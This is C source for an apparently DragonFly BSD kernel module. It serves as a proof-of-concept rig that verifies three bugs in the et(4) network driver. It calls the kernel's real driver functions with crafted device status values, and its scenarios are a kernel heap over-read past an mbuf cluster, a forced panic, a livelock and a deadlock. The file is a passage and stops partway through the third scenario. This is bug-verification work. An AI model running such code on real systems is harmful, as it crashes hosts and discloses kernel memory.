/*
 * dfet_poc.c - DF-4055 / DF-4056 / DF-4057 combined verification rig for
 * sys/dev/netif/et/if_et.c (Agere ET131x, "et(4)").
 *
 * EVIDENCE CLASS: production-handler KLD dispatch (DF-4106 vge /
 * DF-4266 wb precedent).  The guest has no ET131x NIC, but `device et'
 * is built into X86_64_GENERIC, so the driver's real static functions
 * live in the running kernel image.  Their addresses are resolved from
 * /boot/kernel/kernel with nm(1) and injected into this KLD through hex
 * string sysctls; the rig then calls THE KERNEL'S OWN CODE over a
 * fabricated post-attach softc.  Nothing under test is recompiled,
 * copied or modified here.  (et_rxeof itself does not exist as a
 * separate symbol - it is inlined into et_intr, whose disassembly at
 * +0x47d..0x58c contains the STATRING shift-16 extract and the
 * 0x3ff/0x400 ring-bound comparisons - so the RX findings dispatch the
 * REAL et_intr() with the MMIO ET_INTR_STATUS crafted to ET_INTR_RXEOF,
 * which is bit-exact what the interrupt path does on hardware.)
 *
 * Production code dispatched:
 *   et_intr        (contains inlined et_rxeof)   S1/S3
 *   et_txeof                                   S2
 *   et_stop, et_tick (armed via callout_reset)  S4
 *   et_newbuf_hdr / et_newbuf_cluster          ring arming (production
 *                et_init_rx_ring:1485 loop shape)
 *
 * Fabricated post-attach state (module .bss, never freed):
 *   - struct et_softc + real busdma rings/tags/maps, set up with the
 *     verbatim et_dma_alloc()/et_dma_mbuf_create() call sequence
 *     (inlined into the kernel's et_attach, so replicated here 1:1 -
 *     this is driver SETUP, not code under test; same class as the
 *     wb rig replicating if_attach's subqueue setup);
 *   - rings armed by the KERNEL'S OWN et_newbuf_hdr/et_newbuf_cluster;
 *   - fake miibus device_t whose softc is a zeroed mii_data (empty
 *     phys list: mii_tick/mii_mediachg degenerate to no-ops, so the
 *     real et_tick runs its full body safely - mii.c:326-334);
 *   - real lwkt serializer as ifp->if_serializer, held across
 *     dispatches exactly as the production interrupt context would;
 *   - per-CPU ifdata + real ifaltq_subque (et_stop reaches
 *     ifq_clr_oactive);
 *   - 32 KB scratch page standing in for the MMIO BAR (et's CSR map
 *     spans 0x0000..0x7004); bus_space mem access on x86_64 is a plain
 *     dereference of the handle, so CSR_READ_4/CSR_WRITE_4 land in the
 *     scratch - the "device" is simulated the only way the driver can
 *     observe it: CSR status words + RX stat ring write-backs + frame
 *     bytes DMA'd into the armed buffer.
 *
 * Scenarios (sysctl kern.dfet.go=N):
 *   S1 (go=1, DF-4055)  NIC write-back claims buflen=60000 for a
 *        ring-1 buffer whose backing store is one MCLBYTES (2048)
 *        cluster.  Real et_intr -> inlined et_rxeof sets
 *        m_len = pkthdr.len = 60000 (if_et.c:1896) after only
 *        `buflen < ETHER_CRC_LEN' (:1892) and hands it to if_input
 *        (:1902): the sink observes m_len=59996 after m_adj(-4) and
 *        reads heap bytes past the 2048-byte cluster.  Guest SURVIVES
 *        (the sink controls how far the disclosure is actually read).
 *        Repeated with fresh slots for a leak sample.
 *   S2 (go=2, DF-4056 TX) ET_TX_DONE_POS crafted to index 600
 *        (ET_TX_DONE_POS_INDEX is 10-bit, ET_TX_NDESC=512: values
 *        512..1023 are unreachable by tbd_start_index).  Real
 *        et_txeof(sc, 0) (the et_start:1223 call shape) spins; after
 *        tbd_used hits 0 the KKASSERT at if_et.c:2050 panics:
 *        "tbd_used > 0".  PANICS the guest.
 *   S3 (go=3, DF-4056 RX) ET_RX_STATUS rxs_stat_ring crafted to
 *        STATRING index 2000 (ET_RXS_STATRING_INDEX is 12-bit,
 *        ET_RX_NSTAT=1024: 1024..4095 unreachable by rsr_index).
 *        Real et_intr -> inlined et_rxeof spins forever under the
 *        serializer, spraying ierrors.  NEVER RETURNS: run this
 *        sysctl in the background; observe ierrors growth (stats
 *        sysctl) and serializer capture (grab sysctl) from another
 *        shell.  Livelock + permanent serializer hold.
 *   S4 (go=4, DF-4057)  Real et_tick armed via callout_reset on
 *        sc_tick (production arms at hz via et_init:1121; 1 tick here
 *        for determinism).  Once the tick is INPROG and parked on our
 *        serializer (CALLOUT_INPROG, kern_timeout.c:124/567), dispatch
 *        the REAL et_stop() under the serializer - exactly what every
 *        production stopper does (et_detach:390, et_shutdown:428,
 *        et_ioctl SIOCSIFFLAGS:1154, et_init:1093 first statement).
 *        et_stop:555 callout_stop() is SYNCHRONOUS
 *        (_callout_cancel_or_stop sync=1, ssleep "costp"
 *        kern_timeout.c:920) while the parked et_tick blocks in
 *        lwkt_serialize_enter (if_et.c:2070) and re-arms
 *        unconditionally before exiting (:2080): AB-BA deadlock.
 *        IF THE CONSOLE ENDS AT THE MARKER, IT IS PROVEN.
 *
 * Usage (root):
 *   kldload ./dfet_poc.ko
 *   sysctl -w kern.dfet.intr   =0x$(nm /boot/kernel/kernel|awk '/ t et_intr$/{print $1}')
 *   sysctl -w kern.dfet.txeof  =0x$(nm /boot/kernel/kernel|awk '/ t et_txeof$/{print $1}')
 *   sysctl -w kern.dfet.stop   =0x$(nm /boot/kernel/kernel|awk '/ t et_stop$/{print $1}')
 *   sysctl -w kern.dfet.tick   =0x$(nm /boot/kernel/kernel|awk '/ t et_tick$/{print $1}')
 *   sysctl -w kern.dfet.nbhdr  =0x$(nm /boot/kernel/kernel|awk '/ t et_newbuf_hdr$/{print $1}')
 *   sysctl -w kern.dfet.nbcl   =0x$(nm /boot/kernel/kernel|awk '/ t et_newbuf_cluster$/{print $1}')
 *   sysctl -w kern.dfet.go=1           # S1 (safe)
 *   sysctl -w kern.dfet.go=2           # S2 PANIC
 *   (sysctl -w kern.dfet.go=3 &)       # S3 livelock, never returns
 *   (sysctl -w kern.dfet.go=4 &)       # S4 deadlock, never returns
 *   sysctl kern.dfet.stats             # per-cpu counters (S3 evidence)
 *   (sysctl -w kern.dfet.grab=1 &)     # serializer-capture probe (S3)
 */

#include <sys/param.h>
#include <sys/bitops.h>	/* __SHIFTIN/__SHIFTOUT/__BITS */
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/serialize.h>
#include <sys/sysctl.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/callout.h>

#include <sys/thread2.h>	/* lwkt_yield */
#include <sys/bus.h>
#include <sys/bus_private.h>	/* struct bsd_device: fake miibus stand-in */
#include <sys/bus_dma.h>
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <vm/vm.h>

#include <net/if.h>
#include <net/if_arp.h>
#include <net/if_var.h>
#include <net/ifq_var.h>
#include <net/if_media.h>
#include <net/ethernet.h>
#include <net/vlan/if_vlan_var.h>	/* EVL_ENCAPLEN (via if_etvar.h) */

#include <dev/netif/mii_layer/mii.h>
#include <dev/netif/mii_layer/miivar.h>

#include <dev/netif/et/if_etreg.h>
#include <dev/netif/et/if_etvar.h>

/* kern_timeout.c:124 (backend flag, not exported in sys/callout.h) */
#define	DF_CALLOUT_INPROG	0x00000080

/* ------------------------------------------------------------------ */
/* REAL kernel handlers, resolved from /boot/kernel/kernel via nm(1)   */
/* ------------------------------------------------------------------ */
static void (*p_et_intr)(void *);
static void (*p_et_txeof)(struct et_softc *, int);
static void (*p_et_stop)(struct et_softc *);
static void (*p_et_tick)(void *);
static et_newbuf_t p_et_nbhdr;
static et_newbuf_t p_et_nbcl;

static int df_setup_done;
static int df_ran[5];
static int df_delivered;	/* if_input sink counter */
static int df_oob_events;	/* sink saw m_len > backing store */
static const int df_rx_intr_npkts_dflt = 129;	/* if_et.c:181 */

SYSCTL_NODE(_kern, OID_AUTO, dfet, CTLFLAG_RW, 0, "DF-4055/56/57 et(4) PoC rig");

/*
 * Address-injection sysctls take hex STRINGS ("ffffffff804b8bd0"):
 * sysctl_handle_int/long clamp values above INT64_MAX, which is where
 * every static-kernel address lives on x86_64.
 */
static int
df_sysctl_addr(SYSCTL_HANDLER_ARGS, void **target)
{
	char buf[32];
	const char *s;
	int error, len;

	ksnprintf(buf, sizeof(buf), "0x%016llx",
	    (unsigned long long)(uintptr_t)*target);
	error = SYSCTL_OUT(req, buf, strlen(buf) + 1);
	if (error || req->newptr == NULL)
		return (error);
	len = req->newlen - req->newidx;
	if (len >= (int)sizeof(buf))
		return (EINVAL);
	error = SYSCTL_IN(req, buf, len);
	if (error)
		return (error);
	buf[len] = '\0';
	s = buf;
	if (s[0] == '0' && (s[1] == 'x' || s[1] == 'X'))
		s += 2;
	*target = (void *)(uintptr_t)strtoul(s, NULL, 16);
	return (0);
}

#define DF_ADDR_SYSCTL(name, var, descr)				\
static int								\
df_sysctl_##name(SYSCTL_HANDLER_ARGS)					\
{									\
	return (df_sysctl_addr(oidp, arg1, arg2, req, (void **)&var));	\
}									\
SYSCTL_PROC(_kern_dfet, OID_AUTO, name,				\
    CTLTYPE_STRING | CTLFLAG_RW, NULL, 0, df_sysctl_##name, "A", descr);

DF_ADDR_SYSCTL(intr,  p_et_intr,  "kernel address of static et_intr() (hex; contains inlined et_rxeof)")
DF_ADDR_SYSCTL(txeof, p_et_txeof, "kernel address of static et_txeof() (hex)")
DF_ADDR_SYSCTL(stop,  p_et_stop,  "kernel address of static et_stop() (hex)")
DF_ADDR_SYSCTL(tick,  p_et_tick,  "kernel address of static et_tick() (hex)")
DF_ADDR_SYSCTL(nbhdr, p_et_nbhdr, "kernel address of static et_newbuf_hdr() (hex)")
DF_ADDR_SYSCTL(nbcl,  p_et_nbcl,  "kernel address of static et_newbuf_cluster() (hex)")

/* ------------------------------------------------------------------ */
/* Static rig state - module .bss, never freed (no teardown UAF)       */
/* ------------------------------------------------------------------ */
static struct et_softc df_sc;
static struct mii_data df_mii;			/* zeroed: empty phys list */
static struct bsd_device df_miidev;		/* .softc = &df_mii */
static uint8_t df_mmio[0x8000]
    __attribute__((__aligned__(PAGE_SIZE)));	/* MMIO BAR stand-in (CSR map spans ..0x7004) */
static struct lwkt_serialize df_ser;
static struct ifdata_pcpu df_ifdata[64];
static struct ifaltq_subque df_subq __attribute__((__aligned__(64)));

static u_long
df_stat(size_t off)
{
	u_long v = 0;
	int i;

	for (i = 0; i < 64; i++)
		v += *(u_long *)((char *)&df_ifdata[i] + off);
	return (v);
}
#define DF_STAT(f)	df_stat(__offsetof(struct ifdata_pcpu, f))

static void
df_mmio_w(uint32_t reg, uint32_t val)
{
	*(volatile uint32_t *)(df_mmio + reg) = val;
}

/*
 * Production if_input stand-in (ether_input/netisr in the real stack):
 * record and describe the delivered mbuf, then consume it.  For DF-4055
 * it reads a CONTROLLED 32 bytes starting at the first byte PAST the
 * 2048-byte cluster backing store - i.e. the disclosure the production
 * stack would hand to BPF/listeners, bounded here so the guest survives
 * the demonstration.
 */
static void
df_input(struct ifnet *ifp, struct mbuf *m, const struct pktinfo *pi,
    int cpuid)
{
	uint8_t *p = mtod(m, uint8_t *);
	int cap = (m->m_flags & M_EXT) ? m->m_ext.ext_size : MHLEN;
	int i;

	kprintf("dfet: if_input: m=%p m_len=%d pkthdr.len=%d "
	    "M_EXT=%d ext_size=%d (backing-store capacity) rcvif=%s\n",
	    m, m->m_len, m->m_pkthdr.len, !!(m->m_flags & M_EXT), cap,
	    m->m_pkthdr.rcvif ? m->m_pkthdr.rcvif->if_xname : "?");

	if (m->m_len >= 18)
		kprintf("dfet:   frame[0..17]=%02x %02x %02x %02x %02x %02x "
		    "%02x %02x %02x %02x %02x %02x %02x %02x %02x %02x "
		    "%02x %02x\n",
		    p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7],
		    p[8], p[9], p[10], p[11], p[12], p[13], p[14], p[15],
		    p[16], p[17]);

	if (m->m_len > cap) {
		/*
		 * DF-4055: the production handler handed us an mbuf whose
		 * m_len runs past its allocation.  Demonstrate the heap
		 * disclosure: dump 32 bytes starting at the first byte
		 * past the backing store (adjacent kernel heap / the
		 * neighboring cluster in the mbuf cluster arena).
		 */
		kprintf("dfet:   OOB: m_len exceeds backing store by %d "
		    "bytes; heap bytes [%d..%d) past the cluster:",
		    m->m_len - cap, cap, cap + 32);
		for (i = 0; i < 32; i++)
			kprintf("%s%02x", (i % 8) == 0 ? " " : "",
			    p[cap + i]);
		kprintf("\n");
		df_oob_events++;
		/*
		 * The stock network stack (and the first rig run) FREES
		 * this mbuf - which the kernel itself rejects:
		 * panic: "overflowed mbuf" (KASSERT M_TRAILINGSPACE(m) >= 0,
		 * sys/kern/uipc_mbuf.c:1317, observed at et_intr+0x4bf ->
		 * m_freem in panic.txt).  Deliberately LEAK it here instead
		 * so the multi-sample demonstration keeps the guest up for
		 * the remaining scenarios; the free-path panic is already
		 * captured evidence.
		 */
		df_delivered++;
		return;
	}
	df_delivered++;
	m_freem(m);
}

/* ------------------------------------------------------------------ */
/* Setup: fabricate the post-attach / post-init driver state           */
/* ------------------------------------------------------------------ */
static int
df_dma_setup(void)
{
	struct et_softc *sc = &df_sc;
	struct et_txdesc_ring *tx_ring = &sc->sc_tx_ring;
	struct et_txstatus_data *txsd = &sc->sc_tx_status;
	struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring;
	struct et_rxstatus_data *rxsd = &sc->sc_rx_status;
	struct et_txbuf_data *tbd = &sc->sc_tx_data;
	int i, error;

	/*
	 * Verbatim et_dma_alloc() call sequence (if_et.c:689-802; inlined
	 * into the kernel's et_attach, hence replicated - driver SETUP,
	 * not code under test).  Jumbo allocation deliberately skipped:
	 * et_dma_alloc allows it to fail ("NOTE: Allow it to fail",
	 * if_et.c:795-799); without it the rings use the std table,
	 * exactly the if_mtu < MCLBYTES default of et_init:1095.
	 */
	error = bus_dma_tag_create(NULL, 1, 0,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
	    BUS_SPACE_MAXSIZE_32BIT, 0, BUS_SPACE_MAXSIZE_32BIT,
	    0, &sc->sc_dtag);
	if (error) {
		kprintf("dfet: can't create top DMA tag: %d\n", error);
		return (error);
	}

	tx_ring->tr_desc = bus_dmamem_coherent_any(sc->sc_dtag,
	    ET_ALIGN, ET_TX_RING_SIZE, BUS_DMA_WAITOK | BUS_DMA_ZERO,
	    &tx_ring->tr_dtag, &tx_ring->tr_dmap, &tx_ring->tr_paddr);
	if (tx_ring->tr_desc == NULL)
		return (ENOMEM);

	txsd->txsd_status = bus_dmamem_coherent_any(sc->sc_dtag,
	    ET_ALIGN, sizeof(uint32_t), BUS_DMA_WAITOK | BUS_DMA_ZERO,
	    &txsd->txsd_dtag, &txsd->txsd_dmap, &txsd->txsd_paddr);
	if (txsd->txsd_status == NULL)
		return (ENOMEM);

	{
		static const uint32_t rx_ring_posreg[ET_RX_NRING] =
		    { ET_RX_RING0_POS, ET_RX_RING1_POS };
		struct et_rxdesc_ring *rx_ring;
		int n;

		for (n = 0; n < ET_RX_NRING; ++n) {
			rx_ring = &sc->sc_rx_ring[n];
			rx_ring->rr_desc = bus_dmamem_coherent_any(sc->sc_dtag,
			    ET_ALIGN, ET_RX_RING_SIZE,
			    BUS_DMA_WAITOK | BUS_DMA_ZERO,
			    &rx_ring->rr_dtag, &rx_ring->rr_dmap,
			    &rx_ring->rr_paddr);
			if (rx_ring->rr_desc == NULL)
				return (ENOMEM);
			rx_ring->rr_posreg = rx_ring_posreg[n];
		}
	}

	rxst_ring->rsr_stat = bus_dmamem_coherent_any(sc->sc_dtag,
	    ET_ALIGN, ET_RXSTAT_RING_SIZE, BUS_DMA_WAITOK | BUS_DMA_ZERO,
	    &rxst_ring->rsr_dtag, &rxst_ring->rsr_dmap, &rxst_ring->rsr_paddr);
	if (rxst_ring->rsr_stat == NULL)
		return (ENOMEM);

	rxsd->rxsd_status = bus_dmamem_coherent_any(sc->sc_dtag,
	    ET_ALIGN, sizeof(struct et_rxstatus), BUS_DMA_WAITOK | BUS_DMA_ZERO,
	    &rxsd->rxsd_dtag, &rxsd->rxsd_dmap, &rxsd->rxsd_paddr);
	if (rxsd->rxsd_status == NULL)
		return (ENOMEM);

	/* Verbatim et_dma_mbuf_create() (if_et.c:869-956) */
	error = bus_dma_tag_create(sc->sc_dtag, 1, 0,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
	    MCLBYTES, 1, MCLBYTES,
	    BUS_DMA_ALLOCNOW | BUS_DMA_WAITOK, &sc->sc_rxbuf_dtag);
	if (error) {
		kprintf("dfet: can't create RX mbuf DMA tag\n");
		return (error);
	}

	error = bus_dmamap_create(sc->sc_rxbuf_dtag, BUS_DMA_WAITOK,
	    &sc->sc_rxbuf_tmp_dmap);
	if (error) {
		kprintf("dfet: can't create spare mbuf DMA map\n");
		return (error);
	}

	for (i = 0; i < ET_RX_NRING; ++i) {
		struct et_rxbuf_data *rbd = &sc->sc_rx_data[i];
		int j;

		for (j = 0; j < ET_RX_NDESC; ++j) {
			error = bus_dmamap_create(sc->sc_rxbuf_dtag,
			    BUS_DMA_WAITOK, &rbd->rbd_buf[j].rb_dmap);
			if (error) {
				kprintf("dfet: can't create %d RX map "
				    "ring %d\n", j, i);
				return (error);
			}
		}
		rbd->rbd_softc = sc;
		rbd->rbd_ring = &sc->sc_rx_ring[i];
	}

	error = bus_dma_tag_create(sc->sc_dtag, 1, 0,
	    BUS_SPACE_MAXADDR, BUS_SPACE_MAXADDR,
	    ET_JUMBO_FRAMELEN, ET_NSEG_MAX, MCLBYTES,
	    BUS_DMA_ALLOCNOW | BUS_DMA_WAITOK | BUS_DMA_ONEBPAGE,
	    &sc->sc_txbuf_dtag);
	if (error) {
		kprintf("dfet: can't create TX mbuf DMA tag\n");
		return (error);
	}

	for (i = 0; i < ET_TX_NDESC; ++i) {
		error = bus_dmamap_create(sc->sc_txbuf_dtag,
		    BUS_DMA_WAITOK | BUS_DMA_ONEBPAGE, &tbd->tbd_buf[i].tb_dmap);
		if (error) {
			kprintf("dfet: can't create %d TX map\n", i);
			return (error);
		}
	}

	return (0);
}

static void
df_setup(void)
{
	struct et_softc *sc = &df_sc;
	struct ifnet *ifp = &sc->arpcom.ac_if;
	int i, error;

	if (df_setup_done)
		return;

	bzero(df_mmio, sizeof(df_mmio));
	bzero(df_ifdata, sizeof(df_ifdata));

	callout_init(&sc->sc_tick);			/* et_attach:244 */
	lwkt_serialize_init(&df_ser);

	sc->sc_rx_intr_npkts = df_rx_intr_npkts_dflt;
	sc->sc_rx_intr_delay = 25;
	sc->sc_tx_intr_nsegs = 256;
	sc->sc_timer = 1000 * 1000 * 1000;

	df_miidev.softc = &df_mii;		/* device_get_softc() -> mii */
	sc->sc_miibus = &df_miidev;

	sc->sc_mem_bt = (bus_space_tag_t)X86_64_BUS_SPACE_MEM;
	sc->sc_mem_bh = (bus_space_handle_t)(uintptr_t)df_mmio;

	error = df_dma_setup();
	if (error)
		kprintf("dfet: WARNING: DMA setup error %d "
		    "(rings may be unusable)\n", error);

	/* et_init:1095-1101 std bufsize table assignment */
	sc->sc_rx_data[0].rbd_bufsize = ET_RXDMA_CTRL_RING0_128;
	sc->sc_rx_data[0].rbd_newbuf = p_et_nbhdr;
	sc->sc_rx_data[0].rbd_jumbo = 0;
	sc->sc_rx_data[1].rbd_bufsize = ET_RXDMA_CTRL_RING1_2048;
	sc->sc_rx_data[1].rbd_newbuf = p_et_nbcl;
	sc->sc_rx_data[1].rbd_jumbo = 0;

	/* Post-ether_ifattach ifnet state (et_attach:338-349 + if_attach
	 * subqueue setup, net/if.c:592-640 - et_stop reaches
	 * ifq_clr_oactive -> ifsq->ifsq_hw_oactive) */
	strlcpy(ifp->if_xname, "dfet0", sizeof(ifp->if_xname));
	ifp->if_softc = sc;
	ifp->if_serializer = &df_ser;
	ifp->if_input = df_input;
	ifp->if_data_pcpu = df_ifdata;
	ifp->if_flags = IFF_UP | IFF_BROADCAST | IFF_SIMPLEX |
	    IFF_MULTICAST | IFF_RUNNING;

	ifp->if_snd.altq_subq_cnt = 1;
	ifp->if_snd.altq_subq = &df_subq;
	ifp->if_snd.altq_ifp = ifp;
	ifp->if_snd.altq_maxlen = ET_TX_NDESC - 1;
	lwkt_serialize_init(&df_subq.ifsq_lock);
	df_subq.ifsq_index = 0;
	df_subq.ifsq_altq = &ifp->if_snd;
	df_subq.ifsq_ifp = ifp;
	df_subq.ifsq_maxlen = ifp->if_snd.altq_maxlen;
	df_subq.ifsq_maxbcnt = df_subq.ifsq_maxlen * MCLBYTES;
	df_subq.ifsq_enqueue = ifsq_classic_enqueue;
	df_subq.ifsq_dequeue = ifsq_classic_dequeue;
	df_subq.ifsq_request = ifsq_classic_request;
	ifq_set_ready(&ifp->if_snd);

	/* et_enable_txrx:1817 sets this once TX/RX is up - model it */
	sc->sc_flags |= ET_FLAG_TXRX_ENABLED;

	kprintf("dfet: layout: sizeof(et_softc)=%#zx sc_tick=%#zx "
	    "sc_rx_data=%#zx sc_tx_data=%#zx sc_rxstat_ring=%#zx "
	    "sc_rx_status=%#zx if_timer=%#zx MHLEN=%d MCLBYTES=%d "
	    "ET_RX_NSTAT=%d ET_TX_NDESC=%d\n",
	    sizeof(struct et_softc),
	    __offsetof(struct et_softc, sc_tick),
	    __offsetof(struct et_softc, sc_rx_data),
	    __offsetof(struct et_softc, sc_tx_data),
	    __offsetof(struct et_softc, sc_rxstat_ring),
	    __offsetof(struct et_softc, sc_rx_status),
	    __offsetof(struct et_softc, arpcom.ac_if.if_timer),
	    (int)MHLEN, (int)MCLBYTES, ET_RX_NSTAT, ET_TX_NDESC);
	kprintf("dfet: dma: tx_ring=%#jx rxst=%#jx rxsd=%#jx\n",
	    (uintmax_t)sc->sc_tx_ring.tr_paddr,
	    (uintmax_t)sc->sc_rxstat_ring.rsr_paddr,
	    (uintmax_t)sc->sc_rx_status.rxsd_paddr);

	/* Arm both RX rings with the KERNEL'S OWN newbuf handlers -
	 * the production et_init_rx_ring:1481-1493 loop */
	{
		int n, j;

		for (n = 0; n < ET_RX_NRING; ++n) {
			struct et_rxbuf_data *rbd = &sc->sc_rx_data[n];

			for (j = 0; j < ET_RX_NDESC; ++j) {
				if (rbd->rbd_newbuf(rbd, j, 1) != 0) {
					kprintf("dfet: newbuf ring %d idx %d "
					    "FAILED\n", n, j);
					break;
				}
			}
		}
	}

	/* et_init_rxdma:1530-1532 / 1544-1546 / 1599-1601 SW mirror */
	sc->sc_rxstat_ring.rsr_index = 0;
	sc->sc_rxstat_ring.rsr_wrap = 0;
	sc->sc_rx_ring[0].rr_index = 0;
	sc->sc_rx_ring[0].rr_wrap = 1;
	sc->sc_rx_ring[1].rr_index = 0;
	sc->sc_rx_ring[1].rr_wrap = 1;
	sc->sc_tx_ring.tr_ready_index = 0;
	sc->sc_tx_ring.tr_ready_wrap = 0;

	/* silence unused */
	(void)i;

	df_setup_done = 1;
	kprintf("dfet: setup complete: rings armed by REAL et_newbuf_hdr/"
	    "et_newbuf_cluster (2 x %d mbufs), serializer ready\n",
	    ET_RX_NDESC);
}

/* ------------------------------------------------------------------ */
/* S1 (DF-4055): device length lie -> m_len past the cluster           */
/* ------------------------------------------------------------------ */
static void
df_s1_once(int iter, int buf_idx)
{
	struct et_softc *sc = &df_sc;
	struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring;
	struct mbuf *m;
	uint32_t info2;
	uint8_t frame[64];
	int i;

	/* reset SW mirrors to a fresh walk (et_init_rxdma state) */
	rxst_ring->rsr_index = 0;
	rxst_ring->rsr_wrap = 0;
	sc->sc_rx_ring[1].rr_index = 0;
	sc->sc_rx_ring[1].rr_wrap = 1;

	/* "the chip DMAs the frame into the armed buffer" (64 bytes) */
	m = sc->sc_rx_data[1].rbd_buf[buf_idx].rb_mbuf;
	if (m == NULL) {
		kprintf("dfet: S1[%d]: slot %d not armed - ABORT\n",
		    iter, buf_idx);
		return;
	}
	for (i = 0; i < ETHER_ADDR_LEN; i++)
		frame[i] = 0xFF;
	frame[6] = 0x00; frame[7] = 0xDF; frame[8] = 0x40; frame[9] = 0x55;
	frame[10] = 0x00; frame[11] = (uint8_t)(0x01 + iter);
	frame[12] = 0xDF; frame[13] = 0x55;
	for (i = 14; i < 60; i++)
		frame[i] = (uint8_t)(i + iter);
	frame[60] = 0xDE; frame[61] = 0xAD; frame[62] = 0xBE; frame[63] = 0xEF;
	bcopy(frame, mtod(m, uint8_t *), sizeof(frame));

	/* the NIC writes one RX stat ring entry: claims buflen=60000 for
	 * ring 1 (backing store: ONE MCLBYTES==2048 cluster), buf N */
	info2 = __SHIFTIN(60000, ET_RXST_INFO2_LEN) |
	    __SHIFTIN(buf_idx, ET_RXST_INFO2_BUFIDX) |
	    __SHIFTIN(1, ET_RXST_INFO2_RINGIDX);
	rxst_ring->rsr_stat[0].rxst_info1 = 0;
	rxst_ring->rsr_stat[0].rxst_info2 = info2;

	/* the NIC posts "1 completed stat entry at index 0, no wrap" */
	sc->sc_rx_status.rxsd_status->rxs_ring = 0;
	sc->sc_rx_status.rxsd_status->rxs_stat_ring =
	    __SHIFTIN(1, ET_RXS_STATRING_INDEX);		/* wrap = 0 */

	/* the interrupt line asserts RXEOF */
	df_mmio_w(ET_INTR_STATUS, ET_INTR_RXEOF);

	kprintf("dfet: S1[%d]: slot=%d crafted LEN=%u BUFIDX=%d RINGIDX=1 "
	    "(cluster ring); dispatching REAL et_intr under serializer\n",
	    iter, buf_idx,
	    (unsigned)__SHIFTOUT(info2, ET_RXST_INFO2_LEN), buf_idx);

	lwkt_serialize_enter(&df_ser);		/* as et_intr context would */
	p_et_intr(&df_sc);			/* REAL kernel handler */
	lwkt_serialize_exit(&df_ser);
}

static void
df_s1(void)
{
	int iter, buf_idx;

	bzero(df_ifdata, sizeof(df_ifdata));
	df_delivered = 0;
	df_oob_events = 0;

	for (iter = 0; iter < 3; iter++) {
		buf_idx = iter;		/* fresh slot => fresh cluster */
		df_s1_once(iter, buf_idx);
	}

	kprintf("dfet: S1: delivered=%d oob_events=%d ipackets=%lu "
	    "ierrors=%lu (MHLEN=%d MCLBYTES=%d; claimed buflen=60000)\n",
	    df_delivered, df_oob_events, DF_STAT(ifd_ipackets),
	    DF_STAT(ifd_ierrors), (int)MHLEN, (int)MCLBYTES);

	if (df_oob_events >= 3)
		kprintf("dfet: *** S1 BUG CONFIRMED (DF-4055): the REAL "
		    "et_intr/inlined-et_rxeof handed if_input mbufs with "
		    "m_len=%d on a %d-byte cluster 3/3 times - m_len runs "
		    "%d bytes past the allocation (if_et.c:1863,1896); "
		    "bytes past the cluster are adjacent kernel heap ***\n",
		    60000 - ETHER_CRC_LEN, MCLBYTES,
		    60000 - ETHER_CRC_LEN - MCLBYTES);
	else if (df_delivered == 0 && DF_STAT(ifd_ierrors) >= 3)
		kprintf("dfet: S1: frames DROPPED with ierrors (fix "
		    "shape observed - length validated/clamped)\n");
	else
		kprintf("dfet: S1: UNEXPECTED outcome - inspect markers\n");
}

/* ------------------------------------------------------------------ */
/* S2 (DF-4056 TX): DONE index 600 (10-bit field vs 512 ring)          */
/* ------------------------------------------------------------------ */
static void
df_s2(void)
{
	struct et_softc *sc = &df_sc;

	sc->sc_tx_data.tbd_start_index = 0;
	sc->sc_tx_data.tbd_start_wrap = 0;
	sc->sc_tx_data.tbd_used = 1;		/* one outstanding segment */

	/* the NIC posts TX DONE position: index 600, no wrap
	 * (ET_TX_DONE_POS_INDEX is __BITS(9,0): 600 is representable,
	 * but tbd_start_index only ever reaches ET_TX_NDESC-1=511) */
	df_mmio_w(ET_TX_DONE_POS, __SHIFTIN(600, ET_TX_DONE_POS_INDEX));

	kprintf("dfet: S2: ET_TX_DONE_POS index=600 wrap=0 "
	    "(ET_TX_DONE_POS_INDEX=10-bit vs ET_TX_NDESC=%d: 600 is "
	    "UNREACHABLE by tbd_start_index), tbd_used=1; dispatching "
	    "REAL et_txeof(sc, 0) (et_start:1223 call shape)\n",
	    ET_TX_NDESC);
	kprintf("dfet: S2: if the guest PANICS with KKASSERT "
		    "\"tbd_used > 0\" (if_et.c:2050), DF-4056-TX is proven\n");

	lwkt_serialize_enter(&df_ser);
	p_et_txeof(&df_sc, 0);			/* REAL kernel handler */
	lwkt_serialize_exit(&df_ser);

	/* only reachable if the walk terminated */
	kprintf("dfet: S2: et_txeof RETURNED (tbd_used=%d) - no panic, "
	    "index validated: fix shape observed\n", sc->sc_tx_data.tbd_used);
}

/* ------------------------------------------------------------------ */
/* S3 (DF-4056 RX): STATRING index 2000 (12-bit field vs 1024 ring)    */
/* ------------------------------------------------------------------ */
static void
df_s3(void)
{
	struct et_softc *sc = &df_sc;
	struct et_rxstat_ring *rxst_ring = &sc->sc_rxstat_ring;
	int k;

	/* Pre-fill ALL stat entries: valid ring/buf indices so the loop
	 * body runs silently (buf_idx tracks rr_index modulo 512; buflen 0
	 * -> drop path -> ierrors++ per iteration, our livelock probe) */
	for (k = 0; k < ET_RX_NSTAT; ++k) {
		rxst_ring->rsr_stat[k].rxst_info1 = 0;
		rxst_ring->rsr_stat[k].rxst_info2 =
		    __SHIFTIN(0, ET_RXST_INFO2_LEN) |
		    __SHIFTIN(k % ET_RX_NDESC, ET_RXST_INFO2_BUFIDX) |
		    __SHIFTIN(1, ET_RXST_INFO2_RINGIDX);
	}

	rxst_ring->rsr_index = 0;
	rxst_ring->rsr_wrap = 0;

	/* the NIC posts STATRING index 2000, no wrap
	 * (ET_RXS_STATRING_INDEX is __BITS(27,16): 2000 is representable,
	 * but rsr_index only ever reaches ET_RX_NSTAT-1=1023) */
	sc->sc_rx_status.rxsd_status->rxs_ring = 0;
	sc->sc_rx_status.rxsd_status->rxs_stat_ring =
	    __SHIFTIN(2000, ET_RXS_STATRING_INDEX);	/* wrap = 0 */

	df_mmio_w(ET_INTR_STATUS, ET_INTR_RXEOF);

	kprintf("dfet: S3: rxs_stat_ring index=2000 wrap=0 "
	    "(ET_RXS_STATRING_INDEX=12-bit vs ET_RX_NSTAT=%d: 2000 is "
